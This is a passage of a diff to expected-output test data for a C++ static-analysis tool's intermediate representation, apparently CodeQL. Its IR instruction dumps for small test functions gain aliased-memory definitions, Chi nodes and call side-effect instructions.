r0_4(char *) = Convert : r0_3 -# 585| r0_5(int) = Constant[1] : -# 585| r0_6(glval) = StringConstant["string"] : -# 585| r0_7(char *) = Convert : r0_6 -# 585| v0_8(void) = Call : r0_2, r0_4, r0_5, r0_7 -# 586| v0_9(void) = NoOp : -# 584| v0_10(void) = ReturnVoid : -# 584| v0_11(void) = UnmodeledUse : mu* -# 584| v0_12(void) = ExitFunction : +# 584| m0_1(unknown) = AliasedDefinition : +# 584| mu0_2(unknown) = UnmodeledDefinition : +# 585| r0_3(glval) = FunctionAddress[VarArgFunction] : +# 585| r0_4(glval) = StringConstant["%d %s"] : +# 585| r0_5(char *) = Convert : r0_4 +# 585| r0_6(int) = Constant[1] : +# 585| r0_7(glval) = StringConstant["string"] : +# 585| r0_8(char *) = Convert : r0_7 +# 585| v0_9(void) = Call : r0_3, r0_5, r0_6, r0_8 +# 585| m0_10(unknown) = ^CallSideEffect : m0_1 +# 585| m0_11(unknown) = Chi : m0_1, m0_10 +# 586| v0_12(void) = NoOp : +# 584| v0_13(void) = ReturnVoid : +# 584| v0_14(void) = UnmodeledUse : mu* +# 584| v0_15(void) = ExitFunction : # 590| SetFuncPtr() -> void # 590| Block 0 # 590| v0_0(void) = EnterFunction : -# 590| mu0_1(unknown) = UnmodeledDefinition : -# 591| r0_2(glval<..(*)(..)>) = VariableAddress[pfn] : -# 591| r0_3(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 591| m0_4(..(*)(..)) = Store : r0_2, r0_3 -# 592| r0_5(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 592| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : -# 592| m0_7(..(*)(..)) = Store : r0_6, r0_5 -# 593| r0_8(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : -# 593| r0_9(glval<..(*)(..)>) = VariableAddress[pfn] : -# 593| m0_10(..(*)(..)) = Store : r0_9, r0_8 -# 594| r0_11(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 594| r0_12(glval<..(*)(..)>) = VariableAddress[pfn] : -# 594| m0_13(..(*)(..)) = Store : r0_12, r0_11 -# 595| v0_14(void) = NoOp : -# 590| v0_15(void) = ReturnVoid : -# 590| v0_16(void) = UnmodeledUse : mu* -# 590| v0_17(void) = ExitFunction : +# 590| m0_1(unknown) = AliasedDefinition : +# 590| mu0_2(unknown) = UnmodeledDefinition : +# 591| r0_3(glval<..(*)(..)>) = VariableAddress[pfn] : +# 591| r0_4(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 591| m0_5(..(*)(..)) = Store : r0_3, r0_4 +# 592| r0_6(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 592| r0_7(glval<..(*)(..)>) = VariableAddress[pfn] : +# 592| m0_8(..(*)(..)) = Store : r0_7, r0_6 +# 593| r0_9(glval<..(*)(..)>) = FunctionAddress[FuncPtrTarget] : +# 593| r0_10(glval<..(*)(..)>) = VariableAddress[pfn] : +# 593| m0_11(..(*)(..)) = Store : r0_10, r0_9 +# 594| r0_12(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 594| r0_13(glval<..(*)(..)>) = VariableAddress[pfn] : +# 594| m0_14(..(*)(..)) = Store : r0_13, r0_12 +# 595| v0_15(void) = NoOp : +# 590| v0_16(void) = ReturnVoid : +# 590| v0_17(void) = UnmodeledUse : mu* +# 590| v0_18(void) = ExitFunction : # 615| DeclareObject() -> void # 615| Block 0 # 615| v0_0(void) = EnterFunction : -# 615| mu0_1(unknown) = UnmodeledDefinition : -# 616| r0_2(glval) = VariableAddress[s1] : -# 616| r0_3(glval) = FunctionAddress[String] : -# 616| v0_4(void) = Call : r0_3, this:r0_2 -# 617| r0_5(glval) = VariableAddress[s2] : -# 617| r0_6(glval) = FunctionAddress[String] : -# 617| r0_7(glval) = StringConstant["hello"] : -# 617| r0_8(char *) = Convert : r0_7 -# 617| v0_9(void) = Call : r0_6, this:r0_5, r0_8 -# 618| r0_10(glval) = VariableAddress[s3] : -# 618| r0_11(glval) = FunctionAddress[ReturnObject] : -# 618| r0_12(String) = Call : r0_11 -# 618| m0_13(String) = Store : r0_10, r0_12 -# 619| r0_14(glval) = VariableAddress[s4] : -# 619| r0_15(glval) = FunctionAddress[String] : -# 619| r0_16(glval) = StringConstant["test"] : -# 619| r0_17(char *) = Convert : r0_16 -# 619| v0_18(void) = Call : r0_15, this:r0_14, r0_17 -# 620| v0_19(void) = NoOp : -# 615| v0_20(void) = ReturnVoid : -# 615| v0_21(void) = UnmodeledUse : mu* -# 615| v0_22(void) = ExitFunction : +# 615| m0_1(unknown) = AliasedDefinition : +# 615| mu0_2(unknown) = UnmodeledDefinition : +# 616| r0_3(glval) = VariableAddress[s1] : +# 616| r0_4(glval) = FunctionAddress[String] : +# 616| v0_5(void) = Call : r0_4, this:r0_3 +# 616| m0_6(unknown) = ^CallSideEffect : m0_1 +# 616| m0_7(unknown) = Chi : m0_1, m0_6 +# 617| r0_8(glval) = VariableAddress[s2] : +# 617| r0_9(glval) = FunctionAddress[String] : +# 617| r0_10(glval) = StringConstant["hello"] : +# 617| r0_11(char *) = Convert : r0_10 +# 617| v0_12(void) = Call : r0_9, this:r0_8, r0_11 +# 617| m0_13(unknown) = ^CallSideEffect : m0_7 +# 617| m0_14(unknown) = Chi : m0_7, m0_13 +# 618| r0_15(glval) = VariableAddress[s3] : +# 618| r0_16(glval) = FunctionAddress[ReturnObject] : +# 618| r0_17(String) = Call : r0_16 +# 618| m0_18(unknown) = ^CallSideEffect : m0_14 +# 618| m0_19(unknown) = Chi : m0_14, m0_18 +# 618| m0_20(String) = Store : r0_15, r0_17 +# 619| r0_21(glval) = VariableAddress[s4] : +# 619| r0_22(glval) = FunctionAddress[String] : +# 619| r0_23(glval) = StringConstant["test"] : +# 619| r0_24(char *) = Convert : r0_23 +# 619| v0_25(void) = Call : r0_22, this:r0_21, r0_24 +# 619| m0_26(unknown) = ^CallSideEffect : m0_19 +# 619| m0_27(unknown) = Chi : m0_19, m0_26 +# 620| v0_28(void) = NoOp : +# 615| v0_29(void) = ReturnVoid : +# 615| v0_30(void) = UnmodeledUse : mu* +# 615| v0_31(void) = ExitFunction : # 622| CallMethods(String &, String *, String) -> void # 622| Block 0 # 622| v0_0(void) = EnterFunction : -# 622| mu0_1(unknown) = UnmodeledDefinition : -# 622| r0_2(glval) = VariableAddress[r] : -# 622| m0_3(String &) = InitializeParameter[r] : r0_2 -# 622| r0_4(glval) = VariableAddress[p] : -# 622| m0_5(String *) = InitializeParameter[p] : r0_4 -# 622| r0_6(glval) = VariableAddress[s] : -# 622| mu0_7(String) = InitializeParameter[s] : r0_6 -# 623| r0_8(glval) = VariableAddress[r] : -# 623| r0_9(String &) = Load : r0_8, m0_3 -# 623| r0_10(glval) = Convert : r0_9 -# 623| r0_11(glval) = FunctionAddress[c_str] : -# 623| r0_12(char *) = Call : r0_11, this:r0_10 -# 624| r0_13(glval) = VariableAddress[p] : -# 624| r0_14(String *) = Load : r0_13, m0_5 -# 624| r0_15(String *) = Convert : r0_14 -# 624| r0_16(glval) = FunctionAddress[c_str] : -# 624| r0_17(char *) = Call : r0_16, this:r0_15 -# 625| r0_18(glval) = VariableAddress[s] : -# 625| r0_19(glval) = Convert : r0_18 -# 625| r0_20(glval) = FunctionAddress[c_str] : -# 625| r0_21(char *) = Call : r0_20, this:r0_19 -# 626| v0_22(void) = NoOp : -# 622| v0_23(void) = ReturnVoid : -# 622| v0_24(void) = UnmodeledUse : mu* -# 622| v0_25(void) = ExitFunction : +# 622| m0_1(unknown) = AliasedDefinition : +# 622| mu0_2(unknown) = UnmodeledDefinition : +# 622| r0_3(glval) = VariableAddress[r] : +# 622| m0_4(String &) = InitializeParameter[r] : r0_3 +# 622| r0_5(glval) = VariableAddress[p] : +# 622| m0_6(String *) = InitializeParameter[p] : r0_5 +# 622| r0_7(glval) = VariableAddress[s] : +# 622| m0_8(String) = InitializeParameter[s] : r0_7 +# 622| m0_9(unknown) = Chi : m0_1, m0_8 +# 623| r0_10(glval) = VariableAddress[r] : +# 623| r0_11(String &) = Load : r0_10, m0_4 +# 623| r0_12(glval) = Convert : r0_11 +# 623| r0_13(glval) = FunctionAddress[c_str] : +# 623| r0_14(char *) = Call : r0_13, this:r0_12 +# 623| m0_15(unknown) = ^CallSideEffect : m0_9 +# 623| m0_16(unknown) = Chi : m0_9, m0_15 +# 624| r0_17(glval) = VariableAddress[p] : +# 624| r0_18(String *) = Load : r0_17, m0_6 +# 624| r0_19(String *) = Convert : r0_18 +# 624| r0_20(glval) = FunctionAddress[c_str] : +# 624| r0_21(char *) = Call : r0_20, this:r0_19 +# 624| m0_22(unknown) = ^CallSideEffect : m0_16 +# 624| m0_23(unknown) = Chi : m0_16, m0_22 +# 625| r0_24(glval) = VariableAddress[s] : +# 625| r0_25(glval) = Convert : r0_24 +# 625| r0_26(glval) = FunctionAddress[c_str] : +# 625| r0_27(char *) = Call : r0_26, this:r0_25 +# 625| m0_28(unknown) = ^CallSideEffect : m0_23 +# 625| m0_29(unknown) = Chi : m0_23, m0_28 +# 626| v0_30(void) = NoOp : +# 622| v0_31(void) = ReturnVoid : +# 622| v0_32(void) = UnmodeledUse : mu* +# 622| v0_33(void) = ExitFunction : # 630| C::StaticMemberFunction(int) -> int # 630| Block 0 # 630| v0_0(void) = EnterFunction : -# 630| mu0_1(unknown) = UnmodeledDefinition : -# 630| r0_2(glval) = VariableAddress[x] : -# 630| m0_3(int) = InitializeParameter[x] : r0_2 -# 631| r0_4(glval) = VariableAddress[#return] : -# 631| r0_5(glval) = VariableAddress[x] : -# 631| r0_6(int) = Load : r0_5, m0_3 -# 631| m0_7(int) = Store : r0_4, r0_6 -# 630| r0_8(glval) = VariableAddress[#return] : -# 630| v0_9(void) = ReturnValue : r0_8, m0_7 -# 630| v0_10(void) = UnmodeledUse : mu* -# 630| v0_11(void) = ExitFunction : +# 630| m0_1(unknown) = AliasedDefinition : +# 630| mu0_2(unknown) = UnmodeledDefinition : +# 630| r0_3(glval) = VariableAddress[x] : +# 630| m0_4(int) = InitializeParameter[x] : r0_3 +# 631| r0_5(glval) = VariableAddress[#return] : +# 631| r0_6(glval) = VariableAddress[x] : +# 631| r0_7(int) = Load : r0_6, m0_4 +# 631| m0_8(int) = Store : r0_5, r0_7 +# 630| r0_9(glval) = VariableAddress[#return] : +# 630| v0_10(void) = ReturnValue : r0_9, m0_8 +# 630| v0_11(void) = UnmodeledUse : mu* +# 630| v0_12(void) = ExitFunction : # 634| C::InstanceMemberFunction(int) -> int # 634| Block 0 -# 634| v0_0(void) = EnterFunction : -# 634| mu0_1(unknown) = UnmodeledDefinition : -# 634| r0_2(glval) = InitializeThis : -# 634| r0_3(glval) = VariableAddress[x] : -# 634| m0_4(int) = InitializeParameter[x] : r0_3 -# 635| r0_5(glval) = VariableAddress[#return] : -# 635| r0_6(glval) = VariableAddress[x] : -# 635| r0_7(int) = Load : r0_6, m0_4 -# 635| m0_8(int) = Store : r0_5, r0_7 -# 634| r0_9(glval) = VariableAddress[#return] : -# 634| v0_10(void) = ReturnValue : r0_9, m0_8 -# 634| v0_11(void) = UnmodeledUse : mu* -# 634| v0_12(void) = ExitFunction : +# 634| v0_0(void) = EnterFunction : +# 634| m0_1(unknown) = AliasedDefinition : +# 634| mu0_2(unknown) = UnmodeledDefinition : +# 634| r0_3(glval) = InitializeThis : +# 634| r0_4(glval) = VariableAddress[x] : +# 634| m0_5(int) = InitializeParameter[x] : r0_4 +# 635| r0_6(glval) = VariableAddress[#return] : +# 635| r0_7(glval) = VariableAddress[x] : +# 635| r0_8(int) = Load : r0_7, m0_5 +# 635| m0_9(int) = Store : r0_6, r0_8 +# 634| r0_10(glval) = VariableAddress[#return] : +# 634| v0_11(void) = ReturnValue : r0_10, m0_9 +# 634| v0_12(void) = UnmodeledUse : mu* +# 634| v0_13(void) = ExitFunction : # 638| C::VirtualMemberFunction(int) -> int # 638| Block 0 -# 638| v0_0(void) = EnterFunction : -# 638| mu0_1(unknown) = UnmodeledDefinition : -# 638| r0_2(glval) = InitializeThis : -# 638| r0_3(glval) = VariableAddress[x] : -# 638| m0_4(int) = InitializeParameter[x] : r0_3 -# 639| r0_5(glval) = VariableAddress[#return] : -# 639| r0_6(glval) = VariableAddress[x] : -# 639| r0_7(int) = Load : r0_6, m0_4 -# 639| m0_8(int) = Store : r0_5, r0_7 -# 638| r0_9(glval) = VariableAddress[#return] : -# 638| v0_10(void) = ReturnValue : r0_9, m0_8 -# 638| v0_11(void) = UnmodeledUse : mu* -# 638| v0_12(void) = ExitFunction : +# 638| v0_0(void) = EnterFunction : +# 638| m0_1(unknown) = AliasedDefinition : +# 638| mu0_2(unknown) = UnmodeledDefinition : +# 638| r0_3(glval) = InitializeThis : +# 638| r0_4(glval) = VariableAddress[x] : +# 638| m0_5(int) = InitializeParameter[x] : r0_4 +# 639| r0_6(glval) = VariableAddress[#return] : +# 639| r0_7(glval) = VariableAddress[x] : +# 639| r0_8(int) = Load : r0_7, m0_5 +# 639| m0_9(int) = Store : r0_6, r0_8 +# 638| r0_10(glval) = VariableAddress[#return] : +# 638| v0_11(void) = ReturnValue : r0_10, m0_9 +# 638| v0_12(void) = UnmodeledUse : mu* +# 638| v0_13(void) = ExitFunction : # 642| C::FieldAccess() -> void # 642| Block 0 # 642| v0_0(void) = EnterFunction : -# 642| mu0_1(unknown) = UnmodeledDefinition : -# 642| r0_2(glval) = InitializeThis : -# 643| r0_3(int) = Constant[0] : -# 643| r0_4(C *) = CopyValue : r0_2 -# 643| r0_5(glval) = FieldAddress[m_a] : r0_4 -# 643| mu0_6(int) = Store : r0_5, r0_3 -# 644| r0_7(int) = Constant[1] : -# 644| r0_8(C *) = CopyValue : r0_2 -# 644| r0_9(glval) = FieldAddress[m_a] : r0_8 -# 644| mu0_10(int) = Store : r0_9, r0_7 -# 645| r0_11(int) = Constant[2] : -#-----| r0_12(C *) = CopyValue : r0_2 -# 645| r0_13(glval) = FieldAddress[m_a] : r0_12 -# 645| mu0_14(int) = Store : r0_13, r0_11 -# 646| r0_15(glval) = VariableAddress[x] : -# 646| m0_16(int) = Uninitialized : r0_15 -# 647| r0_17(C *) = CopyValue : r0_2 -# 647| r0_18(glval) = FieldAddress[m_a] : r0_17 -# 647| r0_19(int) = Load : r0_18, mu0_1 -# 647| r0_20(glval) = VariableAddress[x] : -# 647| m0_21(int) = Store : r0_20, r0_19 -# 648| r0_22(C *) = CopyValue : r0_2 -# 648| r0_23(glval) = FieldAddress[m_a] : r0_22 -# 648| r0_24(int) = Load : r0_23, mu0_1 -# 648| r0_25(glval) = VariableAddress[x] : -# 648| m0_26(int) = Store : r0_25, r0_24 -#-----| r0_27(C *) = CopyValue : r0_2 -# 649| r0_28(glval) = FieldAddress[m_a] : r0_27 -# 649| r0_29(int) = Load : r0_28, mu0_1 -# 649| r0_30(glval) = VariableAddress[x] : -# 649| m0_31(int) = Store : r0_30, r0_29 -# 650| v0_32(void) = NoOp : -# 642| v0_33(void) = ReturnVoid : -# 642| v0_34(void) = UnmodeledUse : mu* -# 642| v0_35(void) = ExitFunction : +# 642| m0_1(unknown) = AliasedDefinition : +# 642| mu0_2(unknown) = UnmodeledDefinition : +# 642| r0_3(glval) = InitializeThis : +# 643| r0_4(int) = Constant[0] : +# 643| r0_5(C *) = CopyValue : r0_3 +# 643| r0_6(glval) = FieldAddress[m_a] : r0_5 +# 643| m0_7(int) = Store : r0_6, r0_4 +# 643| m0_8(unknown) = Chi : m0_1, m0_7 +# 644| r0_9(int) = Constant[1] : +# 644| r0_10(C *) = CopyValue : r0_3 +# 644| r0_11(glval) = FieldAddress[m_a] : r0_10 +# 644| m0_12(int) = Store : r0_11, r0_9 +# 644| m0_13(unknown) = Chi : m0_8, m0_12 +# 645| r0_14(int) = Constant[2] : +#-----| r0_15(C *) = CopyValue : r0_3 +# 645| r0_16(glval) = FieldAddress[m_a] : r0_15 +# 645| m0_17(int) = Store : r0_16, r0_14 +# 645| m0_18(unknown) = Chi : m0_13, m0_17 +# 646| r0_19(glval) = VariableAddress[x] : +# 646| m0_20(int) = Uninitialized[x] : r0_19 +# 647| r0_21(C *) = CopyValue : r0_3 +# 647| r0_22(glval) = FieldAddress[m_a] : r0_21 +# 647| r0_23(int) = Load : r0_22, m0_18 +# 647| r0_24(glval) = VariableAddress[x] : +# 647| m0_25(int) = Store : r0_24, r0_23 +# 648| r0_26(C *) = CopyValue : r0_3 +# 648| r0_27(glval) = FieldAddress[m_a] : r0_26 +# 648| r0_28(int) = Load : r0_27, m0_18 +# 648| r0_29(glval) = VariableAddress[x] : +# 648| m0_30(int) = Store : r0_29, r0_28 +#-----| r0_31(C *) = CopyValue : r0_3 +# 649| r0_32(glval) = FieldAddress[m_a] : r0_31 +# 649| r0_33(int) = Load : r0_32, m0_18 +# 649| r0_34(glval) = VariableAddress[x] : +# 649| m0_35(int) = Store : r0_34, r0_33 +# 650| v0_36(void) = NoOp : +# 642| v0_37(void) = ReturnVoid : +# 642| v0_38(void) = UnmodeledUse : mu* +# 642| v0_39(void) = ExitFunction : # 652| C::MethodCalls() -> void # 652| Block 0 # 652| v0_0(void) = EnterFunction : -# 652| mu0_1(unknown) = UnmodeledDefinition : -# 652| r0_2(glval) = InitializeThis : -# 653| r0_3(C *) = CopyValue : r0_2 -# 653| r0_4(glval) = FunctionAddress[InstanceMemberFunction] : -# 653| r0_5(int) = Constant[0] : -# 653| r0_6(int) = Call : r0_4, this:r0_3, r0_5 -# 654| r0_7(C *) = CopyValue : r0_2 -# 654| r0_8(glval) = FunctionAddress[InstanceMemberFunction] : -# 654| r0_9(int) = Constant[1] : -# 654| r0_10(int) = Call : r0_8, this:r0_7, r0_9 -#-----| r0_11(C *) = CopyValue : r0_2 -# 655| r0_12(glval) = FunctionAddress[InstanceMemberFunction] : -# 655| r0_13(int) = Constant[2] : -# 655| r0_14(int) = Call : r0_12, this:r0_11, r0_13 -# 656| v0_15(void) = NoOp : -# 652| v0_16(void) = ReturnVoid : -# 652| v0_17(void) = UnmodeledUse : mu* -# 652| v0_18(void) = ExitFunction : +# 652| m0_1(unknown) = AliasedDefinition : +# 652| mu0_2(unknown) = UnmodeledDefinition : +# 652| r0_3(glval) = InitializeThis : +# 653| r0_4(C *) = CopyValue : r0_3 +# 653| r0_5(glval) = FunctionAddress[InstanceMemberFunction] : +# 653| r0_6(int) = Constant[0] : +# 653| r0_7(int) = Call : r0_5, this:r0_4, r0_6 +# 653| m0_8(unknown) = ^CallSideEffect : m0_1 +# 653| m0_9(unknown) = Chi : m0_1, m0_8 +# 654| r0_10(C *) = CopyValue : r0_3 +# 654| r0_11(glval) = FunctionAddress[InstanceMemberFunction] : +# 654| r0_12(int) = Constant[1] : +# 654| r0_13(int) = Call : r0_11, this:r0_10, r0_12 +# 654| m0_14(unknown) = ^CallSideEffect : m0_9 +# 654| m0_15(unknown) = Chi : m0_9, m0_14 +#-----| r0_16(C *) = CopyValue : r0_3 +# 655| r0_17(glval) = FunctionAddress[InstanceMemberFunction] : +# 655| r0_18(int) = Constant[2] : +# 655| r0_19(int) = Call : r0_17, this:r0_16, r0_18 +# 655| m0_20(unknown) = ^CallSideEffect : m0_15 +# 655| m0_21(unknown) = Chi : m0_15, m0_20 +# 656| v0_22(void) = NoOp : +# 652| v0_23(void) = ReturnVoid : +# 652| v0_24(void) = UnmodeledUse : mu* +# 652| v0_25(void) = ExitFunction : # 658| C::C() -> void # 658| Block 0 # 658| v0_0(void) = EnterFunction : -# 658| mu0_1(unknown) = UnmodeledDefinition : -# 658| r0_2(glval) = InitializeThis : -# 659| r0_3(glval) = FieldAddress[m_a] : r0_2 -# 659| r0_4(int) = Constant[1] : -# 659| mu0_5(int) = Store : r0_3, r0_4 -# 663| r0_6(glval) = FieldAddress[m_b] : r0_2 -# 663| r0_7(glval) = FunctionAddress[String] : -# 663| v0_8(void) = Call : r0_7, this:r0_6 -# 660| r0_9(glval) = FieldAddress[m_c] : r0_2 -# 660| r0_10(char) = Constant[3] : -# 660| mu0_11(char) = Store : r0_9, r0_10 -# 661| r0_12(glval) = FieldAddress[m_e] : r0_2 -# 661| r0_13(void *) = Constant[0] : -# 661| mu0_14(void *) = Store : r0_12, r0_13 -# 662| r0_15(glval) = FieldAddress[m_f] : r0_2 -# 662| r0_16(glval) = FunctionAddress[String] : -# 662| r0_17(glval) = StringConstant["test"] : -# 662| r0_18(char *) = Convert : r0_17 -# 662| v0_19(void) = Call : r0_16, this:r0_15, r0_18 -# 664| v0_20(void) = NoOp : -# 658| v0_21(void) = ReturnVoid : -# 658| v0_22(void) = UnmodeledUse : mu* -# 658| v0_23(void) = ExitFunction : +# 658| m0_1(unknown) = AliasedDefinition : +# 658| mu0_2(unknown) = UnmodeledDefinition : +# 658| r0_3(glval) = InitializeThis : +# 659| r0_4(glval) = FieldAddress[m_a] : r0_3 +# 659| r0_5(int) = Constant[1] : +# 659| m0_6(int) = Store : r0_4, r0_5 +# 659| m0_7(unknown) = Chi : m0_1, m0_6 +# 663| r0_8(glval) = FieldAddress[m_b] : r0_3 +# 663| r0_9(glval) = FunctionAddress[String] : +# 663| v0_10(void) = Call : r0_9, this:r0_8 +# 663| m0_11(unknown) = ^CallSideEffect : m0_7 +# 663| m0_12(unknown) = Chi : m0_7, m0_11 +# 660| r0_13(glval) = FieldAddress[m_c] : r0_3 +# 660| r0_14(char) = Constant[3] : +# 660| m0_15(char) = Store : r0_13, r0_14 +# 660| m0_16(unknown) = Chi : m0_12, m0_15 +# 661| r0_17(glval) = FieldAddress[m_e] : r0_3 +# 661| r0_18(void *) = Constant[0] : +# 661| m0_19(void *) = Store : r0_17, r0_18 +# 661| m0_20(unknown) = Chi : m0_16, m0_19 +# 662| r0_21(glval) = FieldAddress[m_f] : r0_3 +# 662| r0_22(glval) = FunctionAddress[String] : +# 662| r0_23(glval) = StringConstant["test"] : +# 662| r0_24(char *) = Convert : r0_23 +# 662| v0_25(void) = Call : r0_22, this:r0_21, r0_24 +# 662| m0_26(unknown) = ^CallSideEffect : m0_20 +# 662| m0_27(unknown) = Chi : m0_20, m0_26 +# 664| v0_28(void) = NoOp : +# 658| v0_29(void) = ReturnVoid : +# 658| v0_30(void) = UnmodeledUse : mu* +# 658| v0_31(void) = ExitFunction : # 675| DerefReference(int &) -> int # 675| Block 0 # 675| v0_0(void) = EnterFunction : -# 675| mu0_1(unknown) = UnmodeledDefinition : -# 675| r0_2(glval) = VariableAddress[r] : -# 675| m0_3(int &) = InitializeParameter[r] : r0_2 -# 676| r0_4(glval) = VariableAddress[#return] : -# 676| r0_5(glval) = VariableAddress[r] : -# 676| r0_6(int &) = Load : r0_5, m0_3 -# 676| r0_7(int) = Load : r0_6, mu0_1 -# 676| m0_8(int) = Store : r0_4, r0_7 -# 675| r0_9(glval) = VariableAddress[#return] : -# 675| v0_10(void) = ReturnValue : r0_9, m0_8 -# 675| v0_11(void) = UnmodeledUse : mu* -# 675| v0_12(void) = ExitFunction : +# 675| m0_1(unknown) = AliasedDefinition : +# 675| mu0_2(unknown) = UnmodeledDefinition : +# 675| r0_3(glval) = VariableAddress[r] : +# 675| m0_4(int &) = InitializeParameter[r] : r0_3 +# 676| r0_5(glval) = VariableAddress[#return] : +# 676| r0_6(glval) = VariableAddress[r] : +# 676| r0_7(int &) = Load : r0_6, m0_4 +# 676| r0_8(int) = Load : r0_7, m0_1 +# 676| m0_9(int) = Store : r0_5, r0_8 +# 675| r0_10(glval) = VariableAddress[#return] : +# 675| v0_11(void) = ReturnValue : r0_10, m0_9 +# 675| v0_12(void) = UnmodeledUse : mu* +# 675| v0_13(void) = ExitFunction : # 679| TakeReference() -> int & # 679| Block 0 # 679| v0_0(void) = EnterFunction : -# 679| mu0_1(unknown) = UnmodeledDefinition : -# 680| r0_2(glval) = VariableAddress[#return] : -# 680| r0_3(glval) = VariableAddress[g] : -# 680| m0_4(int &) = Store : r0_2, r0_3 -# 679| r0_5(glval) = VariableAddress[#return] : -# 679| v0_6(void) = ReturnValue : r0_5, m0_4 -# 679| v0_7(void) = UnmodeledUse : mu* -# 679| v0_8(void) = ExitFunction : +# 679| m0_1(unknown) = AliasedDefinition : +# 679| mu0_2(unknown) = UnmodeledDefinition : +# 680| r0_3(glval) = VariableAddress[#return] : +# 680| r0_4(glval) = VariableAddress[g] : +# 680| m0_5(int &) = Store : r0_3, r0_4 +# 679| r0_6(glval) = VariableAddress[#return] : +# 679| v0_7(void) = ReturnValue : r0_6, m0_5 +# 679| v0_8(void) = UnmodeledUse : mu* +# 679| v0_9(void) = ExitFunction : # 685| InitReference(int) -> void # 685| Block 0 # 685| v0_0(void) = EnterFunction : -# 685| mu0_1(unknown) = UnmodeledDefinition : -# 685| r0_2(glval) = VariableAddress[x] : -# 685| m0_3(int) = InitializeParameter[x] : r0_2 -# 686| r0_4(glval) = VariableAddress[r] : -# 686| r0_5(glval) = VariableAddress[x] : -# 686| m0_6(int &) = Store : r0_4, r0_5 -# 687| r0_7(glval) = VariableAddress[r2] : -# 687| r0_8(glval) = VariableAddress[r] : -# 687| r0_9(int &) = Load : r0_8, m0_6 -# 687| m0_10(int &) = Store : r0_7, r0_9 -# 688| r0_11(glval) = VariableAddress[r3] : -# 688| r0_12(glval) = FunctionAddress[ReturnReference] : -# 688| r0_13(String &) = Call : r0_12 -# 688| r0_14(glval) = Convert : r0_13 -# 688| m0_15(String &) = Store : r0_11, r0_14 -# 689| v0_16(void) = NoOp : -# 685| v0_17(void) = ReturnVoid : -# 685| v0_18(void) = UnmodeledUse : mu* -# 685| v0_19(void) = ExitFunction : +# 685| m0_1(unknown) = AliasedDefinition : +# 685| mu0_2(unknown) = UnmodeledDefinition : +# 685| r0_3(glval) = VariableAddress[x] : +# 685| m0_4(int) = InitializeParameter[x] : r0_3 +# 686| r0_5(glval) = VariableAddress[r] : +# 686| r0_6(glval) = VariableAddress[x] : +# 686| m0_7(int &) = Store : r0_5, r0_6 +# 687| r0_8(glval) = VariableAddress[r2] : +# 687| r0_9(glval) = VariableAddress[r] : +# 687| r0_10(int &) = Load : r0_9, m0_7 +# 687| m0_11(int &) = Store : r0_8, r0_10 +# 688| r0_12(glval) = VariableAddress[r3] : +# 688| r0_13(glval) = FunctionAddress[ReturnReference] : +# 688| r0_14(String &) = Call : r0_13 +# 688| m0_15(unknown) = ^CallSideEffect : m0_1 +# 688| m0_16(unknown) = Chi : m0_1, m0_15 +# 688| r0_17(glval) = Convert : r0_14 +# 688| m0_18(String &) = Store : r0_12, r0_17 +# 689| v0_19(void) = NoOp : +# 685| v0_20(void) = ReturnVoid : +# 685| v0_21(void) = UnmodeledUse : mu* +# 685| v0_22(void) = ExitFunction : # 691| ArrayReferences() -> void # 691| Block 0 # 691| v0_0(void) = EnterFunction : -# 691| mu0_1(unknown) = UnmodeledDefinition : -# 692| r0_2(glval) = VariableAddress[a] : -# 692| m0_3(int[10]) = Uninitialized : r0_2 -# 693| r0_4(glval) = VariableAddress[ra] : -# 693| r0_5(glval) = VariableAddress[a] : -# 693| m0_6(int(&)[10]) = Store : r0_4, r0_5 -# 694| r0_7(glval) = VariableAddress[x] : -# 694| r0_8(glval) = VariableAddress[ra] : -# 694| r0_9(int(&)[10]) = Load : r0_8, m0_6 -# 694| r0_10(int *) = Convert : r0_9 -# 694| r0_11(int) = Constant[5] : -# 694| r0_12(int *) = PointerAdd[4] : r0_10, r0_11 -# 694| r0_13(int) = Load : r0_12, mu0_1 -# 694| m0_14(int) = Store : r0_7, r0_13 -# 695| v0_15(void) = NoOp : -# 691| v0_16(void) = ReturnVoid : -# 691| v0_17(void) = UnmodeledUse : mu* -# 691| v0_18(void) = ExitFunction : +# 691| m0_1(unknown) = AliasedDefinition : +# 691| mu0_2(unknown) = UnmodeledDefinition : +# 692| r0_3(glval) = VariableAddress[a] : +# 692| m0_4(int[10]) = Uninitialized[a] : r0_3 +# 693| r0_5(glval) = VariableAddress[ra] : +# 693| r0_6(glval) = VariableAddress[a] : +# 693| m0_7(int(&)[10]) = Store : r0_5, r0_6 +# 694| r0_8(glval) = VariableAddress[x] : +# 694| r0_9(glval) = VariableAddress[ra] : +# 694| r0_10(int(&)[10]) = Load : r0_9, m0_7 +# 694| r0_11(int *) = Convert : r0_10 +# 694| r0_12(int) = Constant[5] : +# 694| r0_13(int *) = PointerAdd[4] : r0_11, r0_12 +# 694| r0_14(int) = Load : r0_13, mu0_2 +# 694| m0_15(int) = Store : r0_8, r0_14 +# 695| v0_16(void) = NoOp : +# 691| v0_17(void) = ReturnVoid : +# 691| v0_18(void) = UnmodeledUse : mu* +# 691| v0_19(void) = ExitFunction : # 697| FunctionReferences() -> void # 697| Block 0 -# 697| v0_0(void) = EnterFunction : -# 697| mu0_1(unknown) = UnmodeledDefinition : -# 698| r0_2(glval<..(&)(..)>) = VariableAddress[rfn] : -# 698| r0_3(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 698| m0_4(..(&)(..)) = Store : r0_2, r0_3 -# 699| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 699| r0_6(glval<..(&)(..)>) = VariableAddress[rfn] : -# 699| r0_7(..(&)(..)) = Load : r0_6, m0_4 -# 699| m0_8(..(*)(..)) = Store : r0_5, r0_7 -# 700| r0_9(glval<..(&)(..)>) = VariableAddress[rfn] : -# 700| r0_10(..(&)(..)) = Load : r0_9, m0_4 -# 700| r0_11(int) = Constant[5] : -# 700| r0_12(int) = Call : r0_10, r0_11 -# 701| v0_13(void) = NoOp : -# 697| v0_14(void) = ReturnVoid : -# 697| v0_15(void) = UnmodeledUse : mu* -# 697| v0_16(void) = ExitFunction : +# 697| 